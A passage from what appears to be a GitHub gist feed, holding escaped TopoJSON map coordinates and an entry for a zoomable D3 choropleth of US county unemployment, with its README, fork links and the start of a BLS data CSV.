arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/a13a390b32f5dc70a62aeb3af5e8e568">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/c3f658314b0cf3ce1f714631ff62ad04</link>
      <guid isPermaLink="true">https://gist.github.com/c3f658314b0cf3ce1f714631ff62ad04</guid>
      <pubDate>Wed, 21 Sep 2016 17:58:53 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T17:58:53.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>4377</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6241</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c812bfdde1e6f06a4a437eb7112a02d4&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/12768d82017fb435c62c90649d9071d8&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
